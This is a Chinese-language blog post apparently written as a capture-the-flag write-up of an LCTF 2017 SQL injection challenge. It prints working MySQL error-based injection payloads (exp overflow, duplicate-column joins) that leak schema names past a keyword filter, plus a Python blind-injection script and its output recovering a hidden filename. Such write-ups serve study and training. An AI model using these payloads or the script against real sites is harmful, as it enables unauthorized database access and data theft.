C1imber's Blog

通过lctf2017 writeup get思路

字数统计: 1.1k阅读时长: 4 min
2017/11/20 Share

通过lctf2017的一道注入题学到的新姿势

偶然在群里看到别人发的lctf2017 writeup,这个比赛自己没做,不过看了这篇writeup后照着思路做了一下题,学到了不少新的思路和姿势,在这里记录一下

原文链接

url:http://182.254.246.93/entrance.php

这道题的思路首先是根据源代码中的提示判断这是一道注入题,注入点在pro_id上

<form method ="POST" action="entrance.php">  
<p>Do you want to know their secrets?</p>
<p>id:<input id="pro_id" name="pro_id" type="text" /></p>
<p><input type="submit" value="Submit" /></p>
</form> 
<!-- Tip:将表的某一个字段名,和表中某一个表值进行字符串连接,就可以得到下一个入口喽~ -->
</body>
</html>

根据提示进行union查询,发现一些关键字被waf拦截了,过滤的关键字有database(),version(),information_schema等,然而很多注入都是基于information_schema这个数据库的,但是通过pcat师傅的文章,学到了一种新的字姿势

先在post参数pro_id上进行order by判断列数,发现当前数据表列数为4,然后构造payload

pro_id=1 union select 1,2,3,4 from test

由于test表不存在,于是会爆出错误,错误中出现当前数据库的名字

Table 'youcanneverfindme17.test' doesn't exist

发现可以报错后,尝试用报错函数得到更多的数据,发现updatexml,extractvalue等XPATH报错函数对参数类型进行了严格的控制均不能使用,会出现Only constant XPATH queries are supported的提示,那么构造payload

pro_id=1 and exp(~(select pro_id))

通过一个整数溢出的错误报出当前数据库的名字和表名,列名pro_id是通过post参数猜测出来的

DOUBLE value is out of range in 'exp(~((select `youcanneverfindme17`.`product_2017ctf`.`pro_id`)))'

接下来是爆出表下的列名,构造payload

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using(pro_id))c)

这条语句通过pro_id字段连接两个相同的表,将会产生相同的列名,由于一个数据表不能有相同的列名,就会爆出Duplicate column name的错误,同时爆出列的名字,所以我们通过对一个不符合要求的表进行子查询,就会报错

Duplicate column name 'pro_name'

我们可以通过报出的错误信息遍历列名,payload

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using(pro_id,pro_name))c)

继续报错

Duplicate column name 'owner'

构造payload遍历

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using(pro_id,pro_name,owner))c)

回显出了和提示中符合的列名

Duplicate column name 'd067a0fa9dc61a6e'

但是从product_2017ctf表中对d067a0fa9dc61a6e字段内容进行union查询时发现d067a0fa9dc61a6e也被waf过滤了,从上篇文章中自己学到了一个很有意思的姿势,方法是盲注,pro_id=3的product name和题目连接的名字很相似,都为entrance,那么我们可以猜测flag的后半部分在pro_id为3的记录中,,因为d067a0fa9dc61a6e列为第四列,我们要提取他当中的内容,可以用union select 1,2,3,字符串进行盲注,通过order by desc降序,由于mysql比较字符串大小是根据字符ascii码比较的,所以如果我们的字符串的ascii码的值小于flag的ascii值,union查询的第一条记录便为union关键字前的查询结果,否则就会显示select 1,2,3,字符串的结果,也就是显示2(显示位在2上),所以通过显示结果的不同可以进行盲注,编写脚本

import requests
import string
url="http://182.254.246.93/entrance.php"
list=string.maketrans("","")[33:127]
flaghead="d067a0fa9dc61a6e"
flagtail=""
while 1:
for i in list:
    payload={"pro_id":"3 union select 1,2,3,%s order by 4 desc"%("0x"+(flagtail+i).encode("hex"))}
    html=requests.post(url=url,data=payload).content
    if html.find("nextentrance")==-1:
        flagtail+=chr(ord(i)-1)
        print flagtail
        l2=len(flagtail)
        break
    else:
        pass
if flagtail.split(".")[-1]=="PHP":
    break
flag=flaghead+flagtail.lower()
print flag

得出flag

C:\Users\I'm possible\Desktop>getflag.py
7
71
719
7195
7195C
7195CA
7195CA9
7195CA99
7195CA996
7195CA9969
7195CA99696
7195CA99696B
7195CA99696B5
7195CA99696B5A
7195CA99696B5A8
7195CA99696B5A89
7195CA99696B5A896
7195CA99696B5A896.
7195CA99696B5A896.P
7195CA99696B5A896.PH
7195CA99696B5A896.PHP
d067a0fa9dc61a6e7195ca99696b5a896.php

flag为下一关地址

CATALOG
  1. 1. 通过lctf2017的一道注入题学到的新姿势